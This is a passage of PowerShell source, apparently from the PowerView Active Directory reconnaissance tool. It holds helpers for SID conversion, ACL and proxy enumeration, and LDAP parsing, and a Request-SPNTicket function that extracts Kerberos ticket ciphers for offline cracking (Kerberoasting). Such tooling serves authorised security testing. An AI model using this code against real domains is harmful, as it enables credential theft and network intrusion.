        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $StructFields,

        [Reflection.Emit.PackingSize]
        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

        [Switch]
        $ExplicitLayout
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
        Class,
        Public,
        Sealed,
        BeforeFieldInit'

    if ($ExplicitLayout)
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
    }
    else
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
    }

    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

    $Fields = New-Object Hashtable[]($StructFields.Count)

    # Sort each field according to the orders specified
    # Unfortunately, PSv2 doesn't have the luxury of the
    # hashtable [Ordered] accelerator.
    ForEach ($Field in $StructFields.Keys)
    {
        $Index = $StructFields[$Field]['Position']
        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
    }

    ForEach ($Field in $Fields)
    {
        $FieldName = $Field['FieldName']
        $FieldProp = $Field['Properties']

        $Offset = $FieldProp['Offset']
        $Type = $FieldProp['Type']
        $MarshalAs = $FieldProp['MarshalAs']

        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

        if ($MarshalAs)
        {
            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
            if ($MarshalAs[1])
            {
                $Size = $MarshalAs[1]
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
                    $UnmanagedType, $SizeConst, @($Size))
            }
            else
            {
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
            }

            $NewField.SetCustomAttribute($AttribBuilder)
        }

        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
    }

    # Make the struct aware of its own size.
    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
    $SizeMethod = $StructBuilder.DefineMethod('GetSize',
        'Public, Static',
        [Int],
        [Type[]] @())
    $ILGenerator = $SizeMethod.GetILGenerator()
    # Thanks for the help, Jason Shirk!
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

    # Allow for explicit casting from an IntPtr
    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
        'PrivateScope, Public, Static, HideBySig, SpecialName',
        $StructBuilder,
        [Type[]] @([IntPtr]))
    $ILGenerator2 = $ImplicitConverter.GetILGenerator()
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)

    $StructBuilder.CreateType()
}


########################################################
#
# Misc. helpers
#
########################################################

filter Get-IniContent {
<#
    .SYNOPSIS

        This helper parses an .ini file into a proper PowerShell object.
        
        Author: 'The Scripting Guys'
        Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/

    .LINK

        https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
#>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('FullName')]
        [ValidateScript({ Test-Path -Path $_ })]
        [String[]]
        $Path
    )

    ForEach($TargetPath in $Path) {
        $IniObject = @{}
        Switch -Regex -File $TargetPath {
            "^\[(.+)\]" # Section
            {
                $Section = $matches[1].Trim()
                $IniObject[$Section] = @{}
                $CommentCount = 0
            }
            "^(;.*)$" # Comment
            {
                $Value = $matches[1].Trim()
                $CommentCount = $CommentCount + 1
                $Name = 'Comment' + $CommentCount
                $IniObject[$Section][$Name] = $Value
            } 
            "(.+?)\s*=(.*)" # Key
            {
                $Name, $Value = $matches[1..2]
                $Name = $Name.Trim()
                $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
                if($Values -isnot [System.Array]) {$Values = @($Values)}
                $IniObject[$Section][$Name] = $Values
            }
        }
        $IniObject
    }
}

filter Export-PowerViewCSV {
<#
    .SYNOPSIS

        This helper exports an -InputObject to a .csv in a thread-safe manner
        using a mutex. This is so the various multi-threaded functions in
        PowerView has a thread-safe way to export output to the same file.
        
        Based partially on Dmitry Sotnikov's Export-CSV code
            at http://poshcode.org/1590

    .LINK

        http://poshcode.org/1590
        http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
    Param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [System.Management.Automation.PSObject[]]
        $InputObject,

        [Parameter(Mandatory=$True, Position=0)]
        [String]
        [ValidateNotNullOrEmpty()]
        $OutFile
    )

    $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation

    # mutex so threaded code doesn't stomp on the output file
    $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
    $Null = $Mutex.WaitOne()

    if (Test-Path -Path $OutFile) {
        # hack to skip the first line of output if the file already exists
        $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
    }
    else {
        $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
    }

    $Mutex.ReleaseMutex()
}


filter Get-IPAddress {
<#
    .SYNOPSIS

        Resolves a given hostename to its associated IPv4 address. 
        If no hostname is provided, it defaults to returning
        the IP address of the localhost.

    .EXAMPLE

        PS C:\> Get-IPAddress -ComputerName SERVER
        
        Return the IPv4 address of 'SERVER'

    .EXAMPLE

        PS C:\> Get-Content .\hostnames.txt | Get-IPAddress

        Get the IP addresses of all hostnames in an input file.
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0, ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String]
        $ComputerName = $Env:ComputerName
    )

    try {
        # extract the computer name from whatever object was passed on the pipeline
        $Computer = $ComputerName | Get-NameField

        # get the IP resolution of this specified hostname
        @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
            if ($_.AddressFamily -eq 'InterNetwork') {
                $Out = New-Object PSObject
                $Out | Add-Member Noteproperty 'ComputerName' $Computer
                $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
                $Out
            }
        }
    }
    catch {
        Write-Verbose -Message 'Could not resolve host to an IP Address.'
    }
}


filter Convert-NameToSid {
<#
    .SYNOPSIS

        Converts a given user/group name to a security identifier (SID).

    .PARAMETER ObjectName

        The user/group name to convert, can be 'user' or 'DOMAIN\user' format.

    .PARAMETER Domain

        Specific domain for the given user account, defaults to the current domain.

    .EXAMPLE

        PS C:\> Convert-NameToSid 'DEV\dfm'
#>
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        [Alias('Name')]
        $ObjectName,

        [String]
        $Domain
    )

    $ObjectName = $ObjectName -Replace "/","\"
    
    if($ObjectName.Contains("\")) {
        # if we get a DOMAIN\user format, auto convert it
        $Domain = $ObjectName.Split("\")[0]
        $ObjectName = $ObjectName.Split("\")[1]
    }
    elseif(-not $Domain) {
        $Domain = (Get-NetDomain).Name
    }

    try {
        $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
        $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
        
        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
        $Out | Add-Member Noteproperty 'SID' $SID
        $Out
    }
    catch {
        Write-Verbose "Invalid object/name: $Domain\$ObjectName"
        $Null
    }
}


filter Convert-SidToName {
<#
    .SYNOPSIS
    
        Converts a security identifier (SID) to a group/user name.

    .PARAMETER SID
    
        The SID to convert.

    .EXAMPLE

        PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105
#>
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        [ValidatePattern('^S-1-.*')]
        $SID
    )

    try {
        $SID2 = $SID.trim('*')

        # try to resolve any built-in SIDs first
        #   from https://support.microsoft.com/en-us/kb/243330
        Switch ($SID2) {
            'S-1-0'         { 'Null Authority' }
            'S-1-0-0'       { 'Nobody' }
            'S-1-1'         { 'World Authority' }
            'S-1-1-0'       { 'Everyone' }
            'S-1-2'         { 'Local Authority' }
            'S-1-2-0'       { 'Local' }
            'S-1-2-1'       { 'Console Logon ' }
            'S-1-3'         { 'Creator Authority' }
            'S-1-3-0'       { 'Creator Owner' }
            'S-1-3-1'       { 'Creator Group' }
            'S-1-3-2'       { 'Creator Owner Server' }
            'S-1-3-3'       { 'Creator Group Server' }
            'S-1-3-4'       { 'Owner Rights' }
            'S-1-4'         { 'Non-unique Authority' }
            'S-1-5'         { 'NT Authority' }
            'S-1-5-1'       { 'Dialup' }
            'S-1-5-2'       { 'Network' }
            'S-1-5-3'       { 'Batch' }
            'S-1-5-4'       { 'Interactive' }
            'S-1-5-6'       { 'Service' }
            'S-1-5-7'       { 'Anonymous' }
            'S-1-5-8'       { 'Proxy' }
            'S-1-5-9'       { 'Enterprise Domain Controllers' }
            'S-1-5-10'      { 'Principal Self' }
            'S-1-5-11'      { 'Authenticated Users' }
            'S-1-5-12'      { 'Restricted Code' }
            'S-1-5-13'      { 'Terminal Server Users' }
            'S-1-5-14'      { 'Remote Interactive Logon' }
            'S-1-5-15'      { 'This Organization ' }
            'S-1-5-17'      { 'This Organization ' }
            'S-1-5-18'      { 'Local System' }
            'S-1-5-19'      { 'NT Authority' }
            'S-1-5-20'      { 'NT Authority' }
            'S-1-5-80-0'    { 'All Services ' }
            'S-1-5-32-544'  { 'BUILTIN\Administrators' }
            'S-1-5-32-545'  { 'BUILTIN\Users' }
            'S-1-5-32-546'  { 'BUILTIN\Guests' }
            'S-1-5-32-547'  { 'BUILTIN\Power Users' }
            'S-1-5-32-548'  { 'BUILTIN\Account Operators' }
            'S-1-5-32-549'  { 'BUILTIN\Server Operators' }
            'S-1-5-32-550'  { 'BUILTIN\Print Operators' }
            'S-1-5-32-551'  { 'BUILTIN\Backup Operators' }
            'S-1-5-32-552'  { 'BUILTIN\Replicators' }
            'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
            'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' }
            'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' }
            'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' }
            'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' }
            'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' }
            'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' }
            'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' }
            'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' }
            'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' }
            'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' }
            'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' }
            'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' }
            'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' }
            'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' }
            'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' }
            'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' }
            'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' }
            Default { 
                $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
                $Obj.Translate( [System.Security.Principal.NTAccount]).Value
            }
        }
    }
    catch {
        Write-Verbose "Invalid SID: $SID"
        $SID
    }
}


filter Convert-ADName {
<#
    .SYNOPSIS

        Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)
        to canonical format (domain.com/Users/user) or NT4.

        Based on Bill Stewart's code from this article: 
            http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats

    .PARAMETER ObjectName

        The user/group name to convert.

    .PARAMETER InputType

        The InputType of the user/group name ("NT4","Simple","Canonical").

    .PARAMETER OutputType

        The OutputType of the user/group name ("NT4","Simple","Canonical").

    .EXAMPLE

        PS C:\> Convert-ADName -ObjectName "dev\dfm"
        
        Returns "dev.testlab.local/Users/Dave"

    .EXAMPLE

        PS C:\> Convert-SidToName "S-..." | Convert-ADName
        
        Returns the canonical name for the resolved SID.

    .LINK

        http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        $ObjectName,

        [String]
        [ValidateSet("NT4","Simple","Canonical")]
        $InputType,

        [String]
        [ValidateSet("NT4","Simple","Canonical")]
        $OutputType
    )

    $NameTypes = @{
        'Canonical' = 2
        'NT4'       = 3
        'Simple'    = 5
    }

    if(-not $PSBoundParameters['InputType']) {
        if( ($ObjectName.split('/')).Count -eq 2 ) {
            $ObjectName = $ObjectName.replace('/', '\')
        }

        if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
            $InputType = 'NT4'
        }
        elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
            $InputType = 'Simple'
        }
        elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
            $InputType = 'Canonical'
        }
        else {
            Write-Warning "Can not identify InType for $ObjectName"
            return $ObjectName
        }
    }
    elseif($InputType -eq 'NT4') {
        $ObjectName = $ObjectName.replace('/', '\')
    }

    if(-not $PSBoundParameters['OutputType']) {
        $OutputType = Switch($InputType) {
            'NT4' {'Canonical'}
            'Simple' {'NT4'}
            'Canonical' {'NT4'}
        }
    }

    # try to extract the domain from the given format
    $Domain = Switch($InputType) {
        'NT4' { $ObjectName.split("\")[0] }
        'Simple' { $ObjectName.split("@")[1] }
        'Canonical' { $ObjectName.split("/")[0] }
    }

    # Accessor functions to simplify calls to NameTranslate
    function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
        $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
        if ( $Output ) { $Output }
    }
    function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
        [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
    }

    $Translate = New-Object -ComObject NameTranslate

    try {
        Invoke-Method $Translate "Init" (1, $Domain)
    }
    catch [System.Management.Automation.MethodInvocationException] { 
        Write-Verbose "Error with translate init in Convert-ADName: $_"
    }

    Set-Property $Translate "ChaseReferral" (0x60)

    try {
        Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
        (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
    }
    catch [System.Management.Automation.MethodInvocationException] {
        Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
    }
}


function ConvertFrom-UACValue {
<#
    .SYNOPSIS

        Converts a UAC int value to human readable form.

    .PARAMETER Value

        The int UAC value to convert.

    .PARAMETER ShowAll

        Show all UAC values, with a + indicating the value is currently set.

    .EXAMPLE

        PS C:\> ConvertFrom-UACValue -Value 66176

        Convert the UAC value 66176 to human readable format.

    .EXAMPLE

        PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue

        Convert the UAC value for 'jason' to human readable format.

    .EXAMPLE

        PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll

        Convert the UAC value for 'jason' to human readable format, showing all
        possible UAC values.
#>
    
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        $Value,

        [Switch]
        $ShowAll
    )

    begin {
        # values from https://support.microsoft.com/en-us/kb/305144
        $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
        $UACValues.Add("SCRIPT", 1)
        $UACValues.Add("ACCOUNTDISABLE", 2)
        $UACValues.Add("HOMEDIR_REQUIRED", 8)
        $UACValues.Add("LOCKOUT", 16)
        $UACValues.Add("PASSWD_NOTREQD", 32)
        $UACValues.Add("PASSWD_CANT_CHANGE", 64)
        $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
        $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
        $UACValues.Add("NORMAL_ACCOUNT", 512)
        $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
        $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
        $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
        $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
        $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
        $UACValues.Add("SMARTCARD_REQUIRED", 262144)
        $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
        $UACValues.Add("NOT_DELEGATED", 1048576)
        $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
        $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
        $UACValues.Add("PASSWORD_EXPIRED", 8388608)
        $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
        $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
    }

    process {

        $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary

        if($Value -is [Int]) {
            $IntValue = $Value
        }
        elseif ($Value -is [PSCustomObject]) {
            if($Value.useraccountcontrol) {
                $IntValue = $Value.useraccountcontrol
            }
        }
        else {
            Write-Warning "Invalid object input for -Value : $Value"
            return $Null 
        }

        if($ShowAll) {
            foreach ($UACValue in $UACValues.GetEnumerator()) {
                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
                }
                else {
                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
                }
            }
        }
        else {
            foreach ($UACValue in $UACValues.GetEnumerator()) {
                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
                }
            }
        }
        $ResultUACValues
    }
}


filter Get-Proxy {
<#
    .SYNOPSIS
    
        Enumerates the proxy server and WPAD conents for the current user.

    .PARAMETER ComputerName

        The computername to enumerate proxy settings on, defaults to local host.

    .EXAMPLE

        PS C:\> Get-Proxy 
        
        Returns the current proxy settings.
#>
    param(
        [Parameter(ValueFromPipeline=$True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ComputerName = $ENV:COMPUTERNAME
    )

    try {
        $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
        $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
        $ProxyServer = $RegKey.GetValue('ProxyServer')
        $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')

        $Wpad = ""
        if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
            try {
                $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
            }
            catch {
                Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
            }
        }
        
        if($ProxyServer -or $AutoConfigUrl) {

            $Properties = @{
                'ProxyServer' = $ProxyServer
                'AutoConfigURL' = $AutoConfigURL
                'Wpad' = $Wpad
            }
            
            New-Object -TypeName PSObject -Property $Properties
        }
        else {
            Write-Warning "No proxy settings found for $ComputerName"
        }
    }
    catch {
        Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
    }
}


function Request-SPNTicket {
<#
    .SYNOPSIS
    
        Request the kerberos ticket for a specified service principal name (SPN).
    
    .PARAMETER SPN

        The service principal name to request the ticket for. Required.
        
    .PARAMETER EncPart
        
        Switch. Return the encrypted portion of the ticket (cipher).

    .EXAMPLE

        PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"
    
        Request a kerberos service ticket for the specified SPN.
        
    .EXAMPLE

        PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart
    
        Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.

    .EXAMPLE

        PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket

        Request kerberos service tickets for all SPNs passed on the pipeline.

    .EXAMPLE

        PS C:\> Get-NetUser -SPN | Request-SPNTicket

        Request kerberos service tickets for all users with non-null SPNs.
#>

    [CmdletBinding()]
    Param (
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
        [Alias('ServicePrincipalName')]
        [String[]]
        $SPN,
        
        [Alias('EncryptedPart')]
        [Switch]
        $EncPart
    )

    begin {
        Add-Type -AssemblyName System.IdentityModel
    }

    process {
        ForEach($UserSPN in $SPN) {
            Write-Verbose "Requesting ticket for: $UserSPN"
            if (!$EncPart) {
                New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
            }
            else {
                $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
                $TicketByteStream = $Ticket.GetRequest()
                if ($TicketByteStream)
                {
                    $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
                    [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
                    $Parts.RemoveAt($Parts.Count - 1)
                    $Parts -join "A48201"
                    break
                }
            }
        }
    }
}


function Get-PathAcl {
<#
    .SYNOPSIS
    
        Enumerates the ACL for a given file path.

    .PARAMETER Path

        The local/remote path to enumerate the ACLs for.

    .PARAMETER Recurse
        
        If any ACL results are groups, recurse and retrieve user membership.

    .EXAMPLE

        PS C:\> Get-PathAcl "\\SERVER\Share\" 
        
        Returns ACLs for the given UNC share.
#>
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [String]
        $Path,

        [Switch]
        $Recurse
    )

    begin {

        function Convert-FileRight {

            # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights

            [CmdletBinding()]
            param(
                [Int]
                $FSR
            )

            $AccessMask = @{
              [uint32]'0x80000000' = 'GenericRead'
              [uint32]'0x40000000' = 'GenericWrite'
              [uint32]'0x20000000' = 'GenericExecute'
              [uint32]'0x10000000' = 'GenericAll'
              [uint32]'0x02000000' = 'MaximumAllowed'
              [uint32]'0x01000000' = 'AccessSystemSecurity'
              [uint32]'0x00100000' = 'Synchronize'
              [uint32]'0x00080000' = 'WriteOwner'
              [uint32]'0x00040000' = 'WriteDAC'
              [uint32]'0x00020000' = 'ReadControl'
              [uint32]'0x00010000' = 'Delete'
              [uint32]'0x00000100' = 'WriteAttributes'
              [uint32]'0x00000080' = 'ReadAttributes'
              [uint32]'0x00000040' = 'DeleteChild'
              [uint32]'0x00000020' = 'Execute/Traverse'
              [uint32]'0x00000010' = 'WriteExtendedAttributes'
              [uint32]'0x00000008' = 'ReadExtendedAttributes'
              [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
              [uint32]'0x00000002' = 'WriteData/AddFile'
              [uint32]'0x00000001' = 'ReadData/ListDirectory'
            }

            $SimplePermissions = @{
              [uint32]'0x1f01ff' = 'FullControl'
              [uint32]'0x0301bf' = 'Modify'
              [uint32]'0x0200a9' = 'ReadAndExecute'
              [uint32]'0x02019f' = 'ReadAndWrite'
              [uint32]'0x020089' = 'Read'
              [uint32]'0x000116' = 'Write'
            }

            $Permissions = @()

            # get simple permission
            $Permissions += $SimplePermissions.Keys |  % {
                              if (($FSR -band $_) -eq $_) {
                                $SimplePermissions[$_]
                                $FSR = $FSR -band (-not $_)
                              }
                            }

            # get remaining extended permissions
            $Permissions += $AccessMask.Keys |
                            ? { $FSR -band $_ } |
                            % { $AccessMask[$_] }

            ($Permissions | ?{$_}) -join ","
        }
    }

    process {

        try {
            $ACL = Get-Acl -Path $Path

            $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {

                $Names = @()
                if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
                    $Object = Get-ADObject -SID $_.IdentityReference
                    $Names = @()
                    $SIDs = @($Object.objectsid)

                    if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
                        $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
                    }

                    $SIDs | ForEach-Object {
                        $Names += ,@($_, (Convert-SidToName $_))
                    }
                }
                else {
                    $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
                }

                ForEach($Name in $Names) {
                    $Out = New-Object PSObject
                    $Out | Add-Member Noteproperty 'Path' $Path
                    $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
                    $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
                    $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
                    $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
                    $Out
                }
            }
        }
        catch {
            Write-Warning $_
        }
    }
}


filter Get-NameField {
<#
    .SYNOPSIS
    
        Helper that attempts to extract appropriate field names from
        passed computer objects.

    .PARAMETER Object

        The passed object to extract name fields from.

    .PARAMETER DnsHostName
        
        A DnsHostName to extract through ValueFromPipelineByPropertyName.

    .PARAMETER Name
        
        A Name to extract through ValueFromPipelineByPropertyName.

    .EXAMPLE

        PS C:\> Get-NetComputer -FullData | Get-NameField
#>
    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
        [Object]
        $Object,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [String]
        $DnsHostName,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [String]
        $Name
    )

    if($PSBoundParameters['DnsHostName']) {
        $DnsHostName
    }
    elseif($PSBoundParameters['Name']) {
        $Name
    }
    elseif($Object) {
        if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
            # objects from Get-NetComputer
            $Object.dnshostname
        }
        elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
            # objects from Get-NetDomainController
            $Object.name
        }
        else {
            # strings and catch alls
            $Object
        }
    }
    else {
        return $Null
    }
}


function Convert-LDAPProperty {
<#
    .SYNOPSIS
    
        Helper that converts specific LDAP property result fields.
        Used by several of the Get-Net* function.

    .PARAMETER Properties

        Properties object to extract out LDAP fields for display.
#>
    param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
        [ValidateNotNullOrEmpty()]
        $Properties
    )

    $ObjectProperties = @{}

    $Properties.PropertyNames | ForEach-Object {
        if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
            # convert the SID to a string
            $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
        }
        elseif($_ -eq "objectguid") {
            # convert the GUID to a string
            $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
        }
        elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
            # convert timestamps
            if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
                # if we have a System.__ComObject
                $Temp = $Properties[$_][0]
                [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                [Int32]$Low  = $Temp.GetType().InvokeMember("LowPart",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
            }
            else {
                $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
            }
        }
        elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
            # try to convert misc com objects
            $Prop = $Properties[$_]
            try {
                $Temp = $Prop[$_][0]
                Write-Verbose $_
                [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                [Int32]$Low  = $Temp.GetType().InvokeMember("LowPart",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
            }
            catch {
                $ObjectProperties[$_] = $Prop[$_]
            }
        }
        elseif($Properties[$_].count -eq 1) {
            $ObjectProperties[$_] = $Properties[$_][0]
        }
        else {
